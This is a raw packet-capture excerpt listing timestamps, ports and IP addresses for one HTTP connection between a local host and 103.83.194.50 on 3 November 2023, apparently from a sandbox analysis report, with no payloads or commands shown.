Nov 3, 2023 18:53:43.489883900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489907026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489926100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489926100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489939928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489953995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489965916 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489979029 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489980936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490005970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490011930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490032911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490042925 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490076065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490078926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490094900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490108013 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490120888 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490127087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490144968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490158081 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490168095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490202904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490207911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490223885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490252018 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490266085 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490278006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490315914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490320921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490345955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490359068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490360022 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490389109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490401983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490442991 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490456104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490467072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490479946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490485907 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490494967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490505934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490520000 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490521908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490536928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490556002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490585089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490591049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490600109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490616083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490624905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490642071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490662098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490669012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490691900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490716934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490724087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490732908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490746975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490757942 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490761995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490778923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490788937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490803003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490803003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490819931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490833998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490868092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490870953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490888119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490900993 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490917921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490919113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490931988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490950108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490979910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.490981102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.490994930 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491008997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491024017 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491024017 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491050005 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491064072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491074085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491086960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491097927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491110086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491122961 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491148949 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491157055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491164923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491170883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491195917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491200924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491224051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491231918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491244078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491244078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491272926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491336107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491348028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491362095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491391897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491422892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491441965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491449118 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491453886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491458893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491486073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491512060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491523981 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491528034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491538048 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491542101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491555929 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491555929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491569996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491583109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.491592884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491594076 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491666079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491678953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491678953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491853952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.491981983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.604779005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797456980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797482967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797498941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797525883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797528028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797548056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797559977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797580004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797614098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797614098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797658920 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797678947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797724009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797734022 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797779083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797847986 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797890902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797899008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797934055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.797935009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797981024 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.797991991 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798036098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798062086 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798089981 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798108101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798130035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798139095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798172951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798197985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798244953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798259020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798274994 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798307896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798329115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798331976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798376083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798393011 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798450947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798491001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798538923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798585892 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798629999 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798691988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798734903 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798774004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798820972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798847914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798897028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798923969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.798965931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.798995018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799038887 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799066067 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799115896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799180984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799225092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799266100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799309969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799313068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799354076 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799376965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799392939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799422026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799443007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799448013 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799494982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799494982 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799544096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799572945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799628019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799637079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799680948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799688101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799730062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799731016 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799757957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799772978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799803972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799823999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799868107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799871922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799916029 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.799932003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.799976110 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800017118 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800060987 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800064087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800107956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800118923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800162077 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800169945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800214052 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800220966 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800254107 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800259113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800295115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800322056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800373077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800373077 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800419092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800427914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800446033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800481081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800496101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800510883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800553083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800561905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800626040 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800641060 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800673008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800678015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800720930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800746918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800792933 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800821066 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800865889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800878048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800893068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800924063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800937891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.800951958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.800978899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801009893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801022053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801038027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801081896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801105022 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801151037 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801156998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801201105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801229954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801274061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801290989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801323891 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801338911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801364899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801367044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801423073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801423073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801474094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801484108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801532984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801577091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801624060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801624060 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801686049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801701069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801729918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801747084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801776886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801778078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801822901 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801846027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801927090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.801939964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.801985979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802001953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802046061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802050114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802093029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802102089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802135944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802158117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802205086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802212000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802264929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802289963 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802333117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802344084 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802385092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802388906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802475929 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802491903 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802491903 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802522898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802550077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802551985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802578926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802603960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802628994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802629948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802673101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802695036 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802742958 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802742958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802762985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802802086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802814960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802829981 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802874088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802896976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802957058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.802963018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.802989006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803004980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803041935 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803050041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803076029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803083897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803122044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803162098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803205013 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803231955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803258896 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803277016 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803308964 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803345919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803395987 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803395987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803440094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803477049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803493023 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803520918 CET	49711	80	192.168.2.10	103.83.194.50
